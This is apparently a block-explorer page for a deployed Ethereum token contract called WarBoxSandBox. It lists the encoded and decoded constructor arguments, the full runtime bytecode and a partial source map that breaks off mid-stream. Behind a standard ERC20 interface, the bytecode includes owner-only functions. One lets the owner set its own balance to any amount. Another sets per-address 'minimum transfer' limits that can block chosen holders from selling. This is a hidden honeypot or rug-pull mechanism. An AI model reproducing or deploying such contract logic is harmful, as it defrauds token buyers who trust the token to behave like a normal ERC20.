00000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000029a2241af62c0000000000000000000000000000000000000000000000000000000000000000000d576172426f7853616e64426f78000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006576172426f780000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102e3578063a9059cbb14610313578063dd62ed3e14610343578063f2fde38b14610373578063ffa1ad741461038f57610116565b8063715018a61461028157806383c9b1dd1461028b5780638da5cb5b146102a757806395d89b41146102c557610116565b80633040fc52116100e95780633040fc52146101b7578063313ce567146101e757806339509351146102055780635e0c56311461023557806370a082311461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ad565b604051610130919061162b565b60405180910390f35b610153600480360381019061014e91906113d2565b61043f565b6040516101609190611610565b60405180910390f35b61017161045d565b60405161017e919061172d565b60405180910390f35b6101a1600480360381019061019c9190611383565b610467565b6040516101ae9190611610565b60405180910390f35b6101d160048036038101906101cc919061131e565b610540565b6040516101de919061172d565b60405180910390f35b6101ef610589565b6040516101fc9190611748565b60405180910390f35b61021f600480360381019061021a91906113d2565b6105a0565b60405161022c9190611610565b60405180910390f35b61024f600480360381019061024a9190611462565b610653565b005b61026b6004803603810190610266919061131e565b61071d565b604051610278919061172d565b60405180910390f35b610289610766565b005b6102a560048036038101906102a0919061140e565b6107ee565b005b6102af610912565b6040516102bc91906115f5565b60405180910390f35b6102cd61093b565b6040516102da919061162b565b60405180910390f35b6102fd60048036038101906102f891906113d2565b6109cd565b60405161030a9190611610565b60405180910390f35b61032d600480360381019061032891906113d2565b610a9a565b60405161033a9190611610565b60405180910390f35b61035d60048036038101906103589190611347565b610ab8565b60405161036a919061172d565b60405180910390f35b61038d6004803603810190610388919061131e565b610b3f565b005b610397610c37565b6040516103a4919061172d565b60405180910390f35b6060600480546103bc906118ae565b80601f01602080910402602001604051908101604052809291908181526020018280546103e8906118ae565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610c52565b8484610c5a565b6001905092915050565b6000600754905090565b6000610474848484610e25565b61053584610480610c52565b61053085604051806060016040528060288152602001611c5060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e6610c52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111409092919063ffffffff16565b610c5a565b600190509392505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900460ff16905090565b60006106496105ad610c52565b8461064485600260006105be610c52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c3c90919063ffffffff16565b610c5a565b6001905092915050565b61065b610c52565b73ffffffffffffffffffffffffffffffffffffffff16610679610912565b73ffffffffffffffffffffffffffffffffffffffff16146106cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c6906116cd565b60405180910390fd5b80600160006106dc610912565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61076e610c52565b73ffffffffffffffffffffffffffffffffffffffff1661078c610912565b73ffffffffffffffffffffffffffffffffffffffff16146107e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d9906116cd565b60405180910390fd5b6107ec6000611195565b565b6107f6610c52565b73ffffffffffffffffffffffffffffffffffffffff16610814610912565b73ffffffffffffffffffffffffffffffffffffffff161461086a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610861906116cd565b60405180910390fd5b60005b825181101561090d5781600360008584815181106108b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061090590611911565b91505061086d565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461094a906118ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610976906118ae565b80156109c35780601f10610998576101008083540402835291602001916109c3565b820191906000526020600020905b8154815290600101906020018083116109a657829003601f168201915b5050505050905090565b6000610a906109da610c52565b84610a8b85604051806060016040528060258152602001611c786025913960026000610a04610c52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111409092919063ffffffff16565b610c5a565b6001905092915050565b6000610aae610aa7610c52565b8484610e25565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b47610c52565b73ffffffffffffffffffffffffffffffffffffffff16610b65610912565b73ffffffffffffffffffffffffffffffffffffffff1614610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb2906116cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c229061166d565b60405180910390fd5b610c3481611195565b50565b600181565b60008183610c4a91906117d0565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc19061170d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d319061168d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e18919061172d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8c906116ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efc9061164d565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e906116ad565b60405180910390fd5b610f92838383611259565b610ffe81604051806060016040528060268152602001611c2a60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111409092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061109381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c3c90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611133919061172d565b60405180910390a3505050565b6000838311158290611188576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117f919061162b565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600061127161126c84611788565b611763565b9050808382526020820190508285602086028201111561129057600080fd5b60005b858110156112c057816112a688826112ca565b845260208401935060208301925050600181019050611293565b5050509392505050565b6000813590506112d981611bfb565b92915050565b600082601f8301126112f057600080fd5b813561130084826020860161125e565b91505092915050565b60008135905061131881611c12565b92915050565b60006020828403121561133057600080fd5b600061133e848285016112ca565b91505092915050565b6000806040838503121561135a57600080fd5b6000611368858286016112ca565b9250506020611379858286016112ca565b9150509250929050565b60008060006060848603121561139857600080fd5b60006113a6868287016112ca565b93505060206113b7868287016112ca565b92505060406113c886828701611309565b9150509250925092565b600080604083850312156113e557600080fd5b60006113f3858286016112ca565b925050602061140485828601611309565b9150509250929050565b6000806040838503121561142157600080fd5b600083013567ffffffffffffffff81111561143b57600080fd5b611447858286016112df565b925050602061145885828601611309565b9150509250929050565b60006020828403121561147457600080fd5b600061148284828501611309565b91505092915050565b61149481611826565b82525050565b6114a381611838565b82525050565b60006114b4826117b4565b6114be81856117bf565b93506114ce81856020860161187b565b6114d7816119e7565b840191505092915050565b60006114ef6023836117bf565b91506114fa826119f8565b604082019050919050565b60006115126026836117bf565b915061151d82611a47565b604082019050919050565b60006115356022836117bf565b915061154082611a96565b604082019050919050565b60006115586033836117bf565b915061156382611ae5565b604082019050919050565b600061157b6020836117bf565b915061158682611b34565b602082019050919050565b600061159e6025836117bf565b91506115a982611b5d565b604082019050919050565b60006115c16024836117bf565b91506115cc82611bac565b604082019050919050565b6115e081611864565b82525050565b6115ef8161186e565b82525050565b600060208201905061160a600083018461148b565b92915050565b6000602082019050611625600083018461149a565b92915050565b6000602082019050818103600083015261164581846114a9565b905092915050565b60006020820190508181036000830152611666816114e2565b9050919050565b6000602082019050818103600083015261168681611505565b9050919050565b600060208201905081810360008301526116a681611528565b9050919050565b600060208201905081810360008301526116c68161154b565b9050919050565b600060208201905081810360008301526116e68161156e565b9050919050565b6000602082019050818103600083015261170681611591565b9050919050565b60006020820190508181036000830152611726816115b4565b9050919050565b600060208201905061174260008301846115d7565b92915050565b600060208201905061175d60008301846115e6565b92915050565b600061176d61177e565b905061177982826118e0565b919050565b6000604051905090565b600067ffffffffffffffff8211156117a3576117a26119b8565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006117db82611864565b91506117e683611864565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561181b5761181a61195a565b5b828201905092915050565b600061183182611844565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561189957808201518184015260208101905061187e565b838111156118a8576000848401525b50505050565b600060028204905060018216806118c657607f821691505b602082108114156118da576118d9611989565b5b50919050565b6118e9826119e7565b810181811067ffffffffffffffff82111715611908576119076119b8565b5b80604052505050565b600061191c82611864565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561194f5761194e61195a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e74206973206c657373207460008201527f68616e206d696e696d756d20616c6c6f77656400000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611c0481611826565b8114611c0f57600080fd5b50565b611c1b81611864565b8114611c2657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e223cbfda4096bb7bd9ee959bf053adcc0ea1c5331d0b17eb94f49f2c942c84c64736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000029a2241af62c0000000000000000000000000000000000000000000000000000000000000000000d576172426f7853616e64426f78000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006576172426f780000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): WarBoxSandBox
Arg [1] : symbol_ (string): WarBox
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3000000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000029a2241af62c0000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [5] : 576172426f7853616e64426f7800000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 576172426f780000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5316:5845:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6542:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7579:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6843:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7797:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6323:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6744:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8259:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6436:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6959:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1783:94;;;:::i;:::-;;6117:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1560:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6641:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8567:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7144:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7368:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1885:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5403:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6542:91;6587:13;6620:5;6613:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6542:91;:::o;7579:210::-;7698:4;7720:39;7729:12;:10;:12::i;:::-;7743:7;7752:6;7720:8;:39::i;:::-;7777:4;7770:11;;7579:210;;;;:::o;6843:108::-;6904:7;6931:12;;6924:19;;6843:108;:::o;7797:454::-;7937:4;7954:36;7964:6;7972:9;7983:6;7954:9;:36::i;:::-;8001:220;8024:6;8045:12;:10;:12::i;:::-;8072:138;8128:6;8072:138;;;;;;;;;;;;;;;;;:11;:19;8084:6;8072:19;;;;;;;;;;;;;;;:33;8092:12;:10;:12::i;:::-;8072:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8001:8;:220::i;:::-;8239:4;8232:11;;7797:454;;;;;:::o;6323:107::-;6379:7;6406;:16;6414:7;6406:16;;;;;;;;;;;;;;;;6399:23;;6323:107;;;:::o;6744:91::-;6793:5;6818:9;;;;;;;;;;;6811:16;;6744:91;:::o;8259:300::-;8374:4;8396:133;8419:12;:10;:12::i;:::-;8446:7;8468:50;8507:10;8468:11;:25;8480:12;:10;:12::i;:::-;8468:25;;;;;;;;;;;;;;;:34;8494:7;8468:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8396:8;:133::i;:::-;8547:4;8540:11;;8259:300;;;;:::o;6436:96::-;1706:12;:10;:12::i;:::-;1695:23;;:7;:5;:7::i;:::-;:23;;;1687:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6519:5:::1;6498:9;:18;6508:7;:5;:7::i;:::-;6498:18;;;;;;;;;;;;;;;:26;;;;6436:96:::0;:::o;6959:177::-;7078:7;7110:9;:18;7120:7;7110:18;;;;;;;;;;;;;;;;7103:25;;6959:177;;;:::o;1783:94::-;1706:12;:10;:12::i;:::-;1695:23;;:7;:5;:7::i;:::-;:23;;;1687:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1848:21:::1;1866:1;1848:9;:21::i;:::-;1783:94::o:0;6117:198::-;1706:12;:10;:12::i;:::-;1695:23;;:7;:5;:7::i;:::-;:23;;;1687:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6211:9:::1;6206:102;6230:8;:15;6226:1;:19;6206:102;;;6290:6;6267:7;:20;6275:8;6284:1;6275:11;;;;;;;;;;;;;;;;;;;;;;6267:20;;;;;;;;;;;;;;;:29;;;;6247:3;;;;;:::i;:::-;;;;6206:102;;;;6117:198:::0;;:::o;1560:87::-;1606:7;1633:6;;;;;;;;;;;1626:13;;1560:87;:::o;6641:95::-;6688:13;6721:7;6714:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6641:95;:::o;8567:400::-;8687:4;8709:228;8732:12;:10;:12::i;:::-;8759:7;8781:145;8838:15;8781:145;;;;;;;;;;;;;;;;;:11;:25;8793:12;:10;:12::i;:::-;8781:25;;;;;;;;;;;;;;;:34;8807:7;8781:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;8709:8;:228::i;:::-;8955:4;8948:11;;8567:400;;;;:::o;7144:216::-;7266:4;7288:42;7298:12;:10;:12::i;:::-;7312:9;7323:6;7288:9;:42::i;:::-;7348:4;7341:11;;7144:216;;;;:::o;7368:201::-;7502:7;7534:11;:18;7546:5;7534:18;;;;;;;;;;;;;;;:27;7553:7;7534:27;;;;;;;;;;;;;;;;7527:34;;7368:201;;;;:::o;1885:192::-;1706:12;:10;:12::i;:::-;1695:23;;:7;:5;:7::i;:::-;:23;;;1687:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1994:1:::1;1974:22;;:8;:22;;;;1966:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2050:19;2060:8;2050:9;:19::i;:::-;1885:192:::0;:::o;5403:35::-;5437:1;5403:35;:::o;3640:98::-;3698:7;3729:1;3725;:5;;;;:::i;:::-;3718:12;;3640:98;;;;:::o;1115:::-;1168:7;1195:10;1188:17;;1115:98;:::o;10539:380::-;10692:1;10675:19;;:5;:19;;;;10667:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10773:1;10754:21;;:7;:21;;;;10746:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10857:6;10827:11;:18;10839:5;10827:18;;;;;;;;;;;;;;;:27;10846:7;10827:27;;;;;;;;;;;;;;;:36;;;;10895:7;10879:32;;10888:5;10879:32;;;10904:6;10879:32;;;;;;:::i;:::-;;;;;;;;10539:380;;;:::o;8973:711::-;9131:1;9113:20;;:6;:20;;;;9105:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9215:1;9194:23;;:9;:23;;;;9186:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9286:7;:15;9294:6;9286:15;;;;;;;;;;;;;;;;9276:6;:25;;9268:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;9371:47;9392:6;9400:9;9411:6;9371:20;:47::i;:::-;9451:108;9487:6;9451:108;;;;;;;;;;;;;;;;;:9;:17;9461:6;9451:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;9431:9;:17;9441:6;9431:17;;;;;;;;;;;;;;;:128;;;;9593:32;9618:6;9593:9;:20;9603:9;9593:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9570:9;:20;9580:9;9570:20;;;;;;;;;;;;;;;:55;;;;9658:9;9641:35;;9650:6;9641:35;;;9669:6;9641:35;;;;;;:::i;:::-;;;;;;;;8973:711;;;:::o;4170:240::-;4290:7;4348:1;4343;:6;;4351:12;4335:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4390:1;4386;:5;4379:12;;4170:240;;;;;:::o;2085:173::-;2141:16;2160:6;;;;;;;;;;;2141:25;;2186:8;2177:6;;:17;;;;;;;;;;;;;;;;;;2241:8;2210:40;;2231:8;2210:40;;;;;;;;;;;;2085:173;;:::o;11033:125::-;;;;:::o;24:655:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;414:1;411;404:12;350:2;450:1;435:238;460:6;457:1;454:13;435:238;;;528:3;557:37;590:3;578:10;557:37;:::i;:::-;552:3;545:50;624:4;619:3;615:14;608:21;;658:4;653:3;649:14;642:21;;495:178;482:1;479;475:9;470:14;;435:238;;;439:14;126:553;;;;;;;:::o;685:139::-;731:5;769:6;756:20;747:29;;785:33;812:5;785:33;:::i;:::-;737:87;;;;:::o;847:303::-;918:5;967:3;960:4;952:6;948:17;944:27;934:2;;985:1;982;975:12;934:2;1025:6;1012:20;1050:94;1140:3;1132:6;1125:4;1117:6;1113:17;1050:94;:::i;:::-;1041:103;;924:226;;;;;:::o;1156:139::-;1202:5;1240:6;1227:20;1218:29;;1256:33;1283:5;1256:33;:::i;:::-;1208:87;;;;:::o;1301:262::-;1360:6;1409:2;1397:9;1388:7;1384:23;1380:32;1377:2;;;1425:1;1422;1415:12;1377:2;1468:1;1493:53;1538:7;1529:6;1518:9;1514:22;1493:53;:::i;:::-;1483:63;;1439:117;1367:196;;;;:::o;1569:407::-;1637:6;1645;1694:2;1682:9;1673:7;1669:23;1665:32;1662:2;;;1710:1;1707;1700:12;1662:2;1753:1;1778:53;1823:7;1814:6;1803:9;1799:22;1778:53;:::i;:::-;1768:63;;1724:117;1880:2;1906:53;1951:7;1942:6;1931:9;1927:22;1906:53;:::i;:::-;1896:63;;1851:118;1652:324;;;;;:::o;1982:552::-;2059:6;2067;2075;2124:2;2112:9;2103:7;2099:23;2095:32;2092:2;;;2140:1;2137;2130:12;2092:2;2183:1;2208:53;2253:7;2244:6;2233:9;2229:22;2208:53;:::i;:::-;2198:63;;2154:117;2310:2;2336:53;2381:7;2372:6;2361:9;2357:22;2336:53;:::i;:::-;2326:63;;2281:118;2438:2;2464:53;2509:7;2500:6;2489:9;2485:22;2464:53;:::i;:::-;2454:63;;2409:118;2082:452;;;;;:::o;2540:407::-;2608:6;2616;2665:2;2653:9;2644:7;2640:23;2636:32;2633:2;;;2681:1;2678;2671:12;2633:2;2724:1;2749:53;2794:7;2785:6;2774:9;2770:22;2749:53;:::i;:::-;2739:63;;2695:117;2851:2;2877:53;2922:7;2913:6;2902:9;2898:22;2877:53;:::i;:::-;2867:63;;2822:118;2623:324;;;;;:::o;2953:550::-;3046:6;3054;3103:2;3091:9;3082:7;3078:23;3074:32;3071:2;;;3119:1;3116;3109:12;3071:2;3190:1;3179:9;3175:17;3162:31;3220:18;3212:6;3209:30;3206:2;;;3252:1;3249;3242:12;3206:2;3280:78;3350:7;3341:6;3330:9;3326:22;3280:78;:::i;:::-;3270:88;;3133:235;3407:2;3433:53;3478:7;3469:6;3458:9;3454:22;3433:53;:::i;:::-;3423:63;;3378:118;3061:442;;;;;:::o;3509:262::-;3568:6;3617:2;3605:9;3596:7;3592:23;3588:32;3585:2;;;3633:1;3630;3623:12;3585:2;3676:1;3701:53;3746:7;3737:6;3726:9;3722:22;3701:53;:::i;:::-;3691:63;;3647:117;3575:196;;;;:::o;3777:118::-;3864:24;3882:5;3864:24;:::i;:::-;3859:3;3852:37;3842:53;;:::o;3901:109::-;3982:21;3997:5;3982:21;:::i;:::-;3977:3;3970:34;3960:50;;:::o;4016:364::-;4104:3;4132:39;4165:5;4132:39;:::i;:::-;4187:71;4251:6;4246:3;4187:71;:::i;:::-;4180:78;;4267:52;4312:6;4307:3;4300:4;4293:5;4289:16;4267:52;:::i;:::-;4344:29;4366:6;4344:29;:::i;:::-;4339:3;4335:39;4328:46;;4108:272;;;;;:::o;4386:366::-;4528:3;4549:67;4613:2;4608:3;4549:67;:::i;:::-;4542:74;;4625:93;4714:3;4625:93;:::i;:::-;4743:2;4738:3;4734:12;4727:19;;4532:220;;;:::o;4758:366::-;4900:3;4921:67;4985:2;4980:3;4921:67;:::i;:::-;4914:74;;4997:93;5086:3;4997:93;:::i;:::-;5115:2;5110:3;5106:12;5099:19;;4904:220;;;:::o;5130:366::-;5272:3;5293:67;5357:2;5352:3;5293:67;:::i;:::-;5286:74;;5369:93;5458:3;5369:93;:::i;:::-;5487:2;5482:3;5478:12;5471:19;;5276:220;;;:::o;5502:366::-;5644:3;5665:67;5729:2;5724:3;5665:67;:::i;:::-;5658:74;;5741:93;5830:3;5741:93;:::i;:::-;5859:2;5854:3;5850:12;5843:19;;5648:220;;;:::o;5874:366::-;6016:3;6037:67;6101:2;6096:3;6037:67;:::i;:::-;6030:74;;6113:93;6202:3;6113:93;:::i;:::-;6231:2;6226:3;6222:12;6215:19;;6020:220;;;:::o;6246:366::-;6388:3;6409:67;6473:2;6468:3;6409:67;:::i;:::-;6402:74;;6485:93;6574:3;6485:93;:::i;:::-;6603:2;6598:3;6594:12;6587:19;;6392:220;;;:::o;6618:366::-;6760:3;6781:67;6845:2;6840:3;6781:67;:::i;:::-;6774:74;;6857:93;6946:3;6857:93;:::i;:::-;6975:2;6970:3;6966:12;6959:19;;6764:220;;;:::o;6990:118::-;7077:24;7095:5;7077:24;:::i;:::-;7072:3;7065:37;7055:53;;:::o;7114:112::-;7197:22;7213:5;7197:22;:::i;:::-;7192:3;7185:35;7175:51;;:::o;7232:222::-;7325:4;7363:2;7352:9;7348:18;7340:26;;7376:71;7444:1;7433:9;7429:17;7420:6;7376:71;:::i;:::-;7330:124;;;;:::o;7460:210::-;7547:4;7585:2;7574:9;7570:18;7562:26;;7598:65;7660:1;7649:9;7645:17;7636:6;7598:65;:::i;:::-;7552:118;;;;:::o;7676:313::-;7789:4;7827:2;7816:9;7812:18;7804:26;;7876:9;7870:4;7866:20;7862:1;7851:9;7847:17;7840:47;7904:78;7977:4;7968:6;7904:78;:::i;:::-;7896:86;;7794:195;;;;:::o;7995:419::-;8161:4;8199:2;8188:9;8184:18;8176:26;;8248:9;8242:4;8238:20;8234:1;8223:9;8219:17;8212:47;8276:131;8402:4;8276:131;:::i;:::-;8268:139;;8166:248;;;:::o;8420:419::-;8586:4;8624:2;8613:9;8609:18;8601:26;;8673:9;8667:4;8663:20;8659:1;8648:9;8644:17;8637:47;8701:131;8827:4;8701:131;:::i;:::-;8693:139;;8591:248;;;:::o;8845:419::-;9011:4;9049:2;9038:9;9034:18;9026:26;;9098:9;9092:4;9088:20;9084:1;9073:9;9069:17;9062:47;9126:131;9252:4;9126:131;:::i;:::-;9118:139;;9016:248;;;:::o;9270:419::-;9436:4;9474:2;9463:9;9459:18;9451:26;;9523:9;9517:4;9513:20;9509:1;9498:9;9494:17;9487:47;9551:131;9677:4;9551:131;:::i;:::-;9543:139;;9441:248;;;:::o;9695:419::-;9861:4;9899:2;9888:9;9884:18;9876:26;;9948:9;9942:4;9938:20;9934:1;9923:9;9919:17;9912:47;9976:131;10102:4;9976:131;:::i;:::-;9968:139;;9866:248;;;:::o;10120:419::-;10286:4;10324:2;10313:9;10309:18;10301:26;;10373:9;10367:4;10363:20;10359:1;10348:9;10344:17;10337:47;10401:131;10527:4;10401:131;:::i;:::-;10393:139;;10291:248;;;:::o;10545:419::-;10711:4;10749: